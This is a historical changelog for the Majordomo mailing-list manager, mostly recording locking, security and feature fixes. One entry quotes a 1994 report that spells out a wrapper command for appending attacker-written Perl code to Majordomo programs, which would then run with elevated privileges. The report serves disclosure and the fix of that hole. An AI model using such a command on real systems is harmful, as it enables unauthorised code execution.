writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.79 + date: 1997/03/10 17:14:28; author: cwilson; state: Exp; lines: +6 -3 + o make sure a lists command returns something for the user. + ---------------------------- + revision 1.78 + date: 1997/03/10 17:11:50; author: cwilson; state: Exp; lines: +4 -4 + o a better check to ignore RCS|CVS|core files/dirs. + ---------------------------- + revision 1.77 + date: 1997/03/10 15:55:15; author: cwilson; state: Exp; lines: +17 -11 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199612302041.OAA16225@miaow.risc.sps.mot.com + + o Fixes approve acceppeted commands lose arguments + + From: Dave Wolfe + Message-Id: <199701201709.LAA06157@miaow.risc.sps.mot.com> + ( oxymoron@waste.org (Oliver Xymoron) ) + + o Security fix: "unsubscribe *" won't mention hidden lists + + From: coar@decus.org (Rodent of Unusual Size) + Message-Id: <97012711105403@decus.org> + + o Concerning WriteConfig's creating an output file based upon the + input list name rather than the case-smashed one: found the problem. + + From: brozen@webdreams.com (Brock Rozen) + Message-ID: Pine.OSF.3.95.970106122125.11202C-100000@webdreams.com + + o Slightly different text for subscribe message + ---------------------------- +majordomo.aliases 1.1:1.2 + revision 1.2 + date: 1997/04/02 10:32:32; author: cwilson; state: Exp; lines: +3 -3 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- +majordomo.pl 1.52:1.55 + revision 1.55 + date: 1997/04/02 14:04:14; author: cwilson; state: Exp; lines: +4 -4 + o added $EX_NOUSER + ---------------------------- + revision 1.54 + date: 1997/04/02 09:12:35; author: cwilson; state: Exp; lines: +4 -4 + hack fix to ParseAddrs to allow "john doe"@x.y addresses + ---------------------------- + revision 1.53 + date: 1997/03/10 16:07:14; author: cwilson; state: Exp; lines: +27 -22 + From: Dave Wolfe + Message-Id: <199701201535.JAA13519@miaow.risc.sps.mot.com> + ^^^^^^^ MAJORDOMO-USERS ARCHIVE! ^^^^^^^^^^^^^ + + o fixes regexp at line 519 + o tidy up is_list_member to handle absolute paths in restrict_post variable. + + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199702261507.JAA14866@miaow.risc.sps.mot.com + + o log file doesn't exist regexp bug + ---------------------------- +majordomo_version.pl 1.18:1.24 + revision 1.24 + date: 1997/04/27 15:05:38; author: cwilson; state: Exp; lines: +2 -2 + 1.94.2 + ---------------------------- + revision 1.23 + date: 1997/04/20 16:48:22; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but really call it 1.94.2_spin4 + ---------------------------- + revision 1.22 + date: 1997/04/20 16:43:01; author: cwilson; state: Exp; lines: +2 -2 + o spin4, but call it 1.94.2. + ---------------------------- + revision 1.21 + date: 1997/04/07 18:59:16; author: cwilson; state: Exp; lines: +2 -2 + o spin 3 + ---------------------------- + revision 1.20 + date: 1997/04/02 14:05:15; author: cwilson; state: Exp; lines: +2 -2 + o spin #2 + ---------------------------- + revision 1.19 + date: 1997/03/12 16:51:16; author: cwilson; state: Exp; lines: +2 -2 + o bump the version # to .2_spin1 + ---------------------------- +medit 1.7:1.9 + revision 1.9 + date: 1997/04/27 14:56:14; author: cwilson; state: Exp; lines: +4 -3 + o chdir correctly. + ---------------------------- + revision 1.8 + date: 1997/04/20 16:25:08; author: cwilson; state: Exp; lines: +3 -3 + From: Jerry Peek + Message-Id: <199704171515.LAA02975@hrothgar.gw.com> + + o I also found what looks like another bug: if $listdir isn't defined, + then the chdir to $listdir *succeeds* and the call to die() isn't + executed. + ---------------------------- +resend 1.80:1.85 + revision 1.85 + date: 1997/04/02 14:04:48; author: cwilson; state: Exp; lines: +8 -4 + o don't abort if mailer is sendmail and sendmail exits with EX_NOUSER + ---------------------------- + revision 1.84 + date: 1997/04/02 10:39:50; author: cwilson; state: Exp; lines: +8 -3 + o Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH + if they aren't defined. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:27:17; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199703171511.JAA16200@miaow.risc.sps.mot.com> + + [ David Brownlee ] + + only check subject for admin headers if administrivia is set in list + config file. + ---------------------------- + revision 1.82 + date: 1997/03/11 16:18:33; author: cwilson; state: Exp; lines: +2 -12 + From: Dave Wolfe + Message-Id: <199701012129.PAA19165@miaow.risc.sps.mot.com> + + o This patch removes the misfeature in resend that looks for an absolute + path in the approve_passwd or -a string to use as a file containing the + actual password. Such a pathname is a security risk, can't be managed + remotely, and, if set to the list.passwd file, is a security trap for + the naive. + ---------------------------- + revision 1.81 + date: 1997/03/10 16:22:47; author: cwilson; state: Exp; lines: +15 -40 + From: Dave Wolfe + Message-Id: <199702261532.JAA13946@miaow.risc.sps.mot.com> + + o If the list is moderated, don't immediately complain about an + invalid approved header. + + From: Dave Wolfe + Message-Id: <199702121912.NAA18025@miaow.risc.sps.mot.com> + + o make sure there's a newline after message_headers and + message_footers. + + From: Dave Wolfe + Message-Id: <199701091841.MAA20902@miaow.risc.sps.mot.com> + + o fix up restrict_post code. + ---------------------------- +sample.cf 1.28:1.33 + revision 1.33 + date: 1997/04/27 14:56:45; author: cwilson; state: Exp; lines: +10 -1 + From: Earle Ake + Message-Id: <199704211308.JAA15364@hcst.net> + + o commentary for x400 stuff. + ---------------------------- + revision 1.32 + date: 1997/04/07 18:57:43; author: cwilson; state: Exp; lines: +2 -1 + From: Thomas Ritter + Message-ID: <01BC4032.AB7CB330@eze22rt.pn5.erd.siemens.at> + + o added /^subject:\s*Autoreply/i to global_taboo_headers. + ---------------------------- + revision 1.31 + date: 1997/04/02 10:33:13; author: cwilson; state: Exp; lines: +4 -2 + o Added 'cancel' to admin_headers and admin_body + o added listproc to majordomo_dont_reply. + ---------------------------- + revision 1.30 + date: 1997/03/11 10:19:46; author: cwilson; state: Exp; lines: +3 -3 + o remove globs from uptime check. + ---------------------------- + revision 1.29 + date: 1997/03/10 16:23:03; author: cwilson; state: Exp; lines: +2 -2 + fix variable typo. + ---------------------------- +shlock.pl 1.11:1.13 + revision 1.13 + date: 1997/03/10 17:01:15; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + + o more tidying. + ---------------------------- + revision 1.12 + date: 1997/03/10 16:25:23; author: cwilson; state: Exp; lines: +13 -10 + From: Dave Wolfe + Message-Id: <199612311338.HAA10833@miaow.risc.sps.mot.com> + + o more shlock tweaking. + ---------------------------- + +* Changelog: release of majordomo version 1.94 + + Big New Features in 1.94, or 3 tasty reasons to upgrade: + + ++ From: Brent Chapman + ++ The "spam patch #1" + ++ taboo_headers and taboo_body that catch and forward to the + ++ approval address anything that matches their regexps. + + ++ From: Joe Pruett + ++ The "spam patch #2" + ++ subscribe_policy = [open|auto|closed][+confirm] + ++ This implements a subscription policy that sends a confirmation + ++ number back to the subscriber, to which they have to resend + ++ to actually subscribe to the list. + + ++ The start of Access Control: Avoid the Spam. + ++ who, which, get, index, info, and intro all have + ++ _access per-list variables that can be set to one of + ++ [open|list|closed] to allow access to anyone, list members, + ++ or nobody, respectively. Naturally, any restrictions + ++ can be overridden by the 'approve' command. + + * ALL: + ! Escaped all @ signs for perl5. + ! Replaced hardcoded sendmail references with a variable. + ! Preserves ownership and permissions of files. + + * Makefile + ! big restructuring to make it easier to configure. + ! arch command is now defined, calls 'uname -m' or 'arch' as needed. + + * test / config-test + + 'test' renamed to 'config-test'. Expanded upon by darren + + stalder and Vince Skahan + + * digest: + + From: pdc@lunch.engr.sgi.com (Paul Close) + + Basically, these diffs add the ability to send a digest based on time or + + number of lines, in addition to the usual byte count. I've changed the + + options as follows: + + + + -r same as always. + + -R receive, but don't make a digest, which allows batching. See -p + + to make a digest (or the make digest command). + + -p make a digest, but only if one should be sent. A crontab job would + + run this once a day to implement the time limit. + + + * majordomo: + + Catches attempts to subscribe the list to itself. + + Won't treat lines beginning with "-" as END if the header + + "Content-type" is found. This allows MIME messages through + + unscathed. + + New command: intro and newintro. These commands are used to + + retrieve the introduction file that is only sent to new + + subscribers. This is different than the 'info' file, which + + (potentially) anyone can see. + + New command: cancel, which is an alias for unsubscribe. + + X400 code checks for c= and a[dmd]= parts. + + Added max_which_hits to limit 'which' output. + ! Clarified help text + ! Calls open_temp for temp files + ! Sends the welcome message to the stripped address if strip is set. + + Expanded command 'unsubscribe *' + ! Fixes the "zero-length subscriber file" bug: checks the return + ! code on every print, open, and closeout. + ! Stricter check for the end of the header. + ! $cookie_seed defaults to $homedir. + + * majordomo.pl: + ! &abort now exits with EX_DATAERR which should avoid sendmail sending bounces. + ! Added a 'bitch' routine which bitches about things to the majordomo owner. + ! Fixed valid_addr to better check for domain style addrs. + ! Calls open_temp for temp files + ! Fixed addr_match to check for a @ in unsubscribe code + ! (to allow 'unsubscribe alt.sys.something', for example) + ! Abort now sends mail if the permissions are set wrong, instead of looping endlessly. + - main'open_temp is now in shlock.pl + + * shlock.pl: + ! From: Bill Houle + ! Chan- here is a replacement version of "shlock.pl" to replace the combined + ! code in majordomo.pl and shlock.pl. There may be some minor code fixes, but + ! most importantly, it consolidates from the two files. This makes "shlock" a + ! standalone package usable in other utilities. + + $shlock'retries is setable. + + retry sleep is 1-10 secs, random. + + * resend: + + Largely rewritten to make it easier to comprehend. + + Extracted the header length restrictions, now defined in the .cf file. + + Now has global_taboo_headers, which means that the administravia + + checks are now easily configurable. + ! Added more checks for mailer messages. + ! Adds the blank line between the header and body. + + Mungedomain is heeded by resend for posting to a closed list. + + Additionally checks the reply-to field for posting approval + + Added taboo_headers and taboo_body checks. + + * approve: + ! Fixed 'can't find passwd' bit. + + * config-parse.pl: + + writeconfig checks that the new config is written out + + safely. + ! &grab_restrict_post only adds $listdir if needed. + ! Changed writeconfig to write shorter lines. + ! Aborts instead of dies (political statement?) + + Added taboo_* stuff, private_intro. + + * archive2.pl: + ! chdir $HOME. + ! removes Approved header. + + * wrapper.c: + ! setgroups can return non-zero, checked for that. + + * bounce: + + Took pdc@sgi.com's version, which... + + 1. If you use -expire and give it a list of bounces entries (from who + + or just the list) it will issue unsubscribes for all the entries older + + than a certain date. + + + + 2. If you use -unsub (or if the program name contains unsub), bounce + + will unsubscribe the user from the list, but not add them to bounces. + + This is good for handling people who request to be unsubscribed, but can't + + figure out how to do it themselves. I suggest linking bounces to unsub. + + This is handier than it might sound :-) + + * sample.cf + + Updated for global_taboo_headers. + + Updated for &abort error codes. + + * FAQ + ! latest version from rtfm.mit.edu + + * misc + + From: "John C. Orthoefer" + + A cgi-bin script that presents a simple + + subscribe, unsubscribe, who, and info command via the web. + + It's in the contrib/md-sub directory. + + + From: Lindsay Haisley + + The following is a short program I cobbled together to adjust digest volume + + and issue numbers in config files. The program should be run from the md + + wrapper to provide an appropriate environment. I will be running it + + indirectly out of a cron job on the first of every month so that my volume + + and issue numbers on a daily-generated digest will reflect the month and + + day-of-month. + + + From: shane@themacs.com (Shane P. McCarron) + + Program for adding sequence numbers to subject lines. + +Tue Jan 10 18:33:22 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * Changelog: release of majordomo version 1.93 + +Sat Jan 7 17:35:18 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * FAQ: Added new faq that is updated for 1.93 release. + + * sample.cf: + Added variables that control X.400 address analysis attempts. Turned + off by default. + + * majordomo.pl: + Added better do_exec_sendmail that doesn't append the nul arg to + sendmail) which some sendmail lookalikes barf on). I also added the + code that attempts to handle X.400 addresses in a safe way. By default + it isn't enabled. There is a varible that has to be set before it + becomes active. + + * resend, new-list: + removed main'do_exec_sendmail since it is done in majordomo.pl now. + + * config_parse.pl: + Fixed error message and fixed bug where I did an open_temp and + shouldn't have since the file was due tio be clobbered, but the file + was in $listdir anyway, so it shouldn't be a security problem. + + * wrapper.c, Makefile: + Fixed define for using setgroups, and added appropriate parameter to + makefile for posix build. + +Mon Jan 2 20:15:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) + Released majordomo 1.93beta1 for testing. + + +Mon Jan 2 19:31:38 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * FAQ + Got newest FAQ from majordomo@pop.psu.edu, and corrected mkdigest + usage that was stripped by the html parser. + + * archive2.pl: + Added attribution for code, and added algorithm and labeled points in + the code for a writeup of my analysis. + + * config_parse.pl: + Added open_temp calls to writable open files for the config and + newconfig file opens. In retrospect, they probably aren't necessary + since being able to write the $listdir is a fatal security hole + anyway. + + * README: + Documented nature of race condition, and the assumptions that were + made concerning the solution to the race condition. + + * README, Makefile, Changelog: + Added text for 1.93beta1 release of majordomo. + + * Makefile: Fixed distribution target. + + * Makefile: Install the test script by default. + + * resend: fixed another administrivia filter + + * Changelog: updated + +Mon Jan 2 00:20:12 1995 John P. Rouillard (rouilj@dstar.iddis.com) + + * README: Added description of fixed approve bug. + + * approve: + fixed bug with warn being a list argument and taking the return + as an arg in a , statement + +Sat Dec 31 23:00:29 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * shlock.pl: + Added some debugging code for testing lock files, and cleaned error + message. + + * archive2.pl: + Compared device numbers as well as inode numbers for the files, and + handle the case of a missing archive file properly by performing + symbolic link and inode/device checks after the open has suceeded if + the file didn't exist in the first place since the comparison is + actually time invarient. + + * shlock.pl: Fixed the race condition in opening of the lock file. + + * majordomo.pl: Check device number for file as well as inode. + +Tue Dec 27 20:43:44 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * bounce: Globbing no longer needed. + + * README: + documented fix of shell glob failure on which and lists commands. + remumbered fixes. + + * bounce: replaced glob on ~ for perl5 comptibility + + * majordomo: fixed list/which failure when globbing to many lists + + * README: included additional info on wrapper changes + +Tue Dec 27 00:14:49 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * digest, majordomo.pl: + Also have to check the filehandle to make sure that it doesn't have + more than one link to it. + + * digest: + Wrapper opens many temporary files, so I have (hopefully) implemented + a more secure way of opening newly created files so that arbitary + files owned by majordomo can't be overwriten/appended to. + +Mon Dec 26 23:58:55 1994 John P. Rouillard (rouilj@dstar.iddis.com) + + * archive2.pl: + Paul Phillips provided some code to close the following hole. + + Date: Tue, 06 Dec 1994 01:48:46 PST + From: Paul Phillips + Subject: Serious security hole in archive2.pl + + I have found what I believe to be a very serious security hole in the + archive2.pl script supplied with majordomo 1.92. + + Problem: Any user on the system can append to any file writable by the + wrapper program. + + Explanation: The archive2.pl script takes as arguments an archive file + (the -f option) and a file to be appended (-a). According to the docs, + the recommended permissions for the wrapper are 775, world executable, + which will allow a malicious user to execute + + % /usr/local/mail/majordomo-1.92/wrapper archive2.pl -f + some-majordomo-program -a file-with-hacker-text-to-append + + This allows him to append perl code to majordomo (for example) to be + later executed with wrapper permissions. + + * test: A file to test for uid/gid setting under the wrapper + + * Makefile: + Set up for posix/solaris 2.x build at IDD. Also cleaned up some bogus + non empty lines. + + * README: + Added comments section at the top of the README describing the changes + including the license file and the fixed from 1.92. + + * wrapper.c: + Added a cast to shut up gcc, and added a setgroups call to clobber all + group memberships from sendmail. This only works for POSIX where the + euid is root. + + * sample.cf: added required @archive_dirs array. + + * resend: Changed copyright notice. + + Quoted @ signs. Replaced open() class with calls to open_temp that + should reduce the chances of a bad person exploiting a race condition + between the existance test and the open. I also changed dies to + aborts so people are notified, also I labeled the different abort + messages so that identical messages can be differentiated. + + I added better/smarter admiistrivia checks especially making a better + help filter. + + Fixed the unlink glob failure bug that was introduced in the 1.92 release. + + * request-answer: Quoted @ signs for perl5. + + * medit: Changed copyright notice. + + * majordomo_version.pl: + Version 1.93beta1. Here's hoping we don't run out of version numbers before + 2.0 is released. + + * majordomo.pl: + Added the function main'open_temp which is a function that will open + temporary files trying to make certain that the opened file is a new + file and not a file that is already in existance. The only side effect + is that the file that is opened (by somebody attempting to fool the + open function) may have its atime updated. + + * majordomo.cf: + Added @archive_dir and converted for use at dstar.iddis.com. + + * majordomo: + Changed the copyright notice, and quoted the @ sign for perl5. + + * config_parse.pl: + Quoted @ signs and $ signs in strings or patterns for perl5. Also + added the characters @ and ! as being valid for regular expressions + for advertize and noadvertize. + + * bounce-remind: Quoted @ signs in strings for perl5. + + * approve: + Removed ~/.majordomo glob which didn't work under perl5, and replaced + it with $ENV{HOME}. I also turned mail into /usr/ucb/mail so the -s + flag always (I hope) makes sense. + + * LICENSE: the license for majordomo use + +Thu June 6 15:50:23 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * + Updated files to report version 1.92 release + * + Added code to handle two types of Security problems caused by + using putting from line. Sendmail is now invoked using -t flag + when to address is derived from the From line. Sendmaiil is + exec'ed after perl forks rather than opening directly with + open, from lines with a - sign at the front of the address are + bounced as hostile addresses. + +Mon May 9 17:16:52 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * ALL + released version 1.90 of majordomo + + * Makefile: + added -f to rm so it always completes sucessfully for the distclean + target. + + * README: + Added comments about the list membership advertize feature that always + lists any list you are subscribed to. + + * Makefile: + added specific archive install targets, added distribution target, moved all install targets together + + * digest: Added code to smash list name tolowercase. + +Sun May 8 22:28:49 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * README: + Added comments about making sure that digest has its archive and + incoming directories created + + * majordomo: + Set up help function to use $majordomo_receive to properly tailor the + help message. + + * sample.cf: + documented that majordomo_receive is also used to determine the help + text that is sent. + + * sample.aliases: Lowercased Sample list for -l flag to resend + + * README: + Documented need for /etc/majordomo.cf so that medit will work. + Documented that the value for the -l flag to resend should be all + lower case. + + * resend: + Added code to smash case of list name specified with -l option since + $opt_l was passed off directly to config_parse.pl, and majordomo + always smashed case on lists when creating them. + + * medit: Changed default majordomo.cf location to /etc/majordomo.cf + + * README: + Fixed some typos and expanded on perl version information, and made + some constructs parallel. Updated thanks list to include Jerry Peek. + +Sun May 8 02:32:59 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl: + Fixed up a bit more debugging cruft to stdout. Now it check the debug + flag before printing errors. + + * digest: Fixed bug in file limiting code. + +Sat May 7 22:09:17 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Changed we're to we are to get around bug in emacs perl mode. + + Also changed all occurances of: + if ( (!$list) || ! ($clean_list = &valid_list($listdir, $list))) { + to + if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list))) + && defined($deflist)) { + + This makes error work properly when a request like: + + subscribe rouilj@cs.umb.edu + + is made to a majordomo running without the -l flag. + + Also any error in newinfo or in newconfig causes all text to be eaten + up to the trailing EOF statement so that here text isn't accidnetly + executed. + + * digest: + Added code to only include files with the name [0-9]* in a digest. + It warns if there are files that aren't supposed to be in the + incomming directory. + + * config_parse.pl: + made grab_absolute_file and grab_absolute_dir to be no ops. + + * README: Removed section on global indexing of majordomo + + * config_parse.pl: fixed formatting + + * majordomo.cf: Fixed comment formatting. + + * Makefile: + Removed unused install target. Added explicit shell setting. Split + install-scripts into install-scripts and install-cf. Install-cf + installs ./majordomo.cf or ./sample.cf if majordomo.cf doesn't exist + as the $W_BIN/majordomo.cf. Added dist-clean target for use by cvs to + clean up stuff when checking out majordomo-dist. + + * sample.cf: updated to match current majordomo.cf + + * config_parse.pl: + Added debug print supression to making defaults announcement. + +Fri May 6 22:04:19 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * FAQ: Deleted old comment according to David Barr's request. + + * FAQ: Updated FAQ from Dave Barr. + + * README: + Updated version statement in the README. It is now the readme for + 1.90. Added tricks section. Updated FAQ notes. + + * README: + Added comments about the 1.90 cognizant version of the majordomo + chapter being done and becoming available via ftp in due time. + + * resend: + Fixed bug that prevented addministrivia checks from functioning. Hey + lets hear it for regression suites. If I'd let this one slip out + again, I would never have heard the end of it. + + * README: Added info blurb about gloal indexing + +Fri May 6 18:23:48 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo_version.pl: + Upgraded version identfier from 1.90b2 to 1.90. I won't miss this + again 8-). + + * majordomo.cf, majordomo: + The -l flag enhancements weren't quite right. There was no variable + that could be used to turn off the unsubscription information for + using the -request address. The majordomo config file majordomo.cf now + sports a majordomo_request variable that will enable the -request help + messages. By default the variable's value is 0 which supresses the + help message. + + * config_parse.pl: changed debug value to 0. + +Thu May 5 20:28:54 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * Description: + Changed all references to "I" into Brent Chapman, or Brent. + +Tue May 3 22:22:03 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend, README: + Added RCPT: filter to resend, and updated the bugs page + that the rcpt shouldn't be an administrivia bounce, and + the expressions that get filtered should be settable by the + list admin. + +Mon May 2 22:02:57 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * mod_addr.diff: + Arnold de Leon's patches for specifying a seperate moderator + for bounced email from resend. + + * README: + Added Arnold de Leon's patches for specifying a seperate moderator + for bounced email from resend. + + Added a bugs/todo/misfeatures section. + + * majordomo.man, majordomo.8: + Mentioned list descriptions returned by the lists command. + Mentioned using \ at the end of lines to continue a line. + + * README: + Added comments about list-managers and that majordomo operation + questions are not appropriate for that list. + + * new-list: Fixed assignment so it is a scalar assignment. + + * resend: Added code to eliminate help admistrivia + +Thu Apr 28 16:36:04 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: Added error description for "unknown mailer error 5". + +Wed Apr 27 19:17:04 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo: + tail anchored the regexp. This should make it a bit faster to apply. + + * majordomo: + Added test to make sure that shell expansion suceeded before + doing unlink. + +Tue Apr 26 22:02:09 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: + Changed format of list names so that only lowercase letters + are allowed. + + * README: + Fixed fome paragraph formatting. added some aditonal comments about + the stuff in config. added a new section about majordomo error + messages. + +Fri Apr 22 19:20:14 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * digest.diff: Adds functions to digest. + + * makeindex.pl: Made commentary change as Paul Close requested + + * logsummary.pl: + Fixed syntax problem for 4.019 perl, and made the script ignore blank + lines in its input. + + * makeindex.pl: Fixed syntax problem for 4.019 perl. + + * makeindex.pl, logsummary.pl: + some neat program from Paul close inital checkin. + + * resend: + Made Getopts failure message say that getopts failed but the error + produced is still cryptic. It doesn't look like getopts returns a real + error for a missing required argument.. + +Thu Apr 21 16:56:57 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * README: Documentation changes to make thing clearer. + + * config_parse.pl: + Changed description for subscription_policy. auto is now described + after open to point out the differences a little better. + +Wed Apr 20 23:19:42 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * digest: Fixed typo that affected the name of the archive dir. + + * majordomo.cf: + Added comments stating that @safedirs is essentially a no op. + + * majordomo: + Commented out setting of PATH in majordomo since the wraper does it + already, and the wrapper is easily customizable in the makefile. + + * README: + Changed location of text that discussed the -l option to majordomo. + Added comment about moving archive2.pl from its install area in Tools + to the top level majordomo directory if you want to use it. + +Sun Apr 17 20:07:00 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend: + Fixed a bug when moderated and restricted posting (-I) options are + used together. I moved the code that bounces non-approved submissions + to moderated lists after the code that checks to see if the persion is + allowed to send email. Now if a message comes in to a -I/-A list, it + will be checked to see if the person is on the approved posting list. + If not, then the message will be bounced with "Non member submission". + If the person is allowed to submit, but they didn't provide the + approval password, the you get an "Approval Required" message. + +Thu Apr 14 06:49:10 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * resend: + Added code that checks to see that we have at least one outgoing + address to send to. + +Fri Apr 8 22:13:46 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * majordomo.ora, README: added O'reilly chapter on majordomo + + * Description: + updated Description with new 1.90 commands for config file and digest + +Sun Apr 3 22:49:59 1994 John P. Rouillard (rouilj@cs.umb.edu) + + * FAQ: first FAQ installement + + * majordomo_version.pl: updated version info to 1.90b2 + + * Rereleased version 1.90b2 with updated internal version + info. + +Sat Apr 2 22:36:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + * Release of 1.90 beta 2 + +Sat Apr 2 22:34:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * sample.aliases: Added Paul Pomes aliases. + + * README: + Said README was for 1.90 beta 2. Added questions from majordomo-users + mailing list. Made note that FAQ is still under development. Added doc + about other README's. Added Paul Pomes sample init code for message + fronter and footers. + + * config_parse.pl: Added default value for message length at 40000. + +Mon Mar 14 18:40:25 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * config_parse.pl, README: + Fixed typos that Brent Chapman sent me with the README file. I fixed + the corresponding spelling mistakes in the config_parse.pl file so + that the mistakes aren't propigated into the config files. + + * resend, approve: + Added patches from Brent Chapman for bug fixes to 1.62 that I had not + integrated. + + (Brent) I pulled over 1.90b1 and integrated the changes I'd made to + Majordomo since 1.62 that you hadn't already made. Basicly, there + were 3 minor bug fixes: + + Fixed a minor bug in "approve": it was using the "mail" program + in some places + and the "Mail" program in others, but now consistently uses "mail". + + Fixed a minor bug in "resend" that was causing it to try and validate + "Approved:" headers anywhere in the body of a message, instead of just + in the first line of the body, if the "-M" argument was not set. + + Fixed handling of "-I" argument to "resend", so that it would squawk + if a "-I" argument file couldn't be found, and so that $listdir is prepended + to the arguments only if they aren't already absolute path names (i.e., + only if they don't already begin with "/"). + + Here are diffs for "approve" and "resend". I have NOT tested these + yet, but the patches were pretty simple so they'll probably be OK. + + * README: changed install directions to confiorm to makefile changes + + * Makefile: + fixed filename references and reduced amount of root installion requirement + + * wrapper.sh: fixed varible refernce + + * majordomo.cf: + Added code to use the HOME environment variable defined by the wrapper + to set $homedir. + +Mon Mar 7 20:57:12 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * README: ran though ispell + + * majordomo_version.pl: updated version string + + * sample.cf, majordomo.cf, README, Makefile: + documentation updated to 1.90 + +Sun Mar 6 22:43:36 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend, majordomo, config_parse.pl, Makefile: + Obsoleted split_archive.pl in favor of brent's archive2.pl program. + + Makefile: + modified to use contrib directory to copy archive2.pl from. Also + digest/digest is copied into place in install-scripts. + + config_parse.pl: + changed sender default value to be owner-listname from + listname-Owner. + readded archive_dir + reply-to default changed to strip -digest from listname + added digest specific keywords + + 'digest_volume' 'digest_issue' 'digest_work_dir' 'digest_name' + 'digest_archive' 'digest_rm_footer' 'digest_rm_fronter' + + All comments have removed references to command line flags. + to make this true, the command line flags will have + to be removed, but that will be the case for new installations. + + subject_prefix commeent talks about duplicate supression. + + changed &mk_default_config to &writeconfig + increased size of key in comments section + + fixed bug in '-' escape handling that resulted in incorrect reverse + escaping. + + grab_absolute_dir now uses key in error messages. Empty directory no + longer an error. + + majordomo: + + $main'main_program is set to mj_majordomo + + add some sanity checking for majordomo.cf file. + + added mkdigest command to drive digest creation + + fixed bug with mungdomain enabled that causes a match to occur + for an address when subscribing, but not for unsubscribing. + + fixed format of some help messages to allow them to stay less + than 80 characters per line. + + resend: + + set $main'main_program to mj_resend + +Mon Feb 21 18:27:35 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo.cf, config_parse.pl: + Made digest part of the config file code enhancements. + + * majordomo: + removed #dashl comments since the -l code seems to work properly. also + added $main'main_program variable. + + * resend: Added $main'main_program variable. + +Sun Feb 20 05:32:18 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * majordomo: + Merged in changes to support a -l argument to majordomo from R. Gary + Cutbill rgary@x.org. If majordomo is run at the request address with + the -l argument, then the list name is optional in + majordomo commands. + +Fri Feb 18 04:58:42 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Fixed bug that resulted in subject tag not being applied where it + should have been because the regular expression that eliminates + subject tag application if the tag already exists didn't have its non + alphanumeric characters escaped resulting in misinterpreted regular + expressions. + +Thu Feb 17 20:02:32 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * wrapper.sh: added support for apollo DomainOs to the wrapper. + +Wed Feb 9 20:12:20 1994 John P. Rouillard (rouilj@terminus.cs.umb.edu) + + * resend: + Added check so that the subject_prefix is put onto the front of the + subject line if and only if it hasn't been found in the subject line + already. This should prevent subject lines like: + + Subject: [list] Re: [list] foo bar baz + + This also enables preservation of Re: by mailers so that they don't + add more stupid Re:'s at the beginning of the subject. + 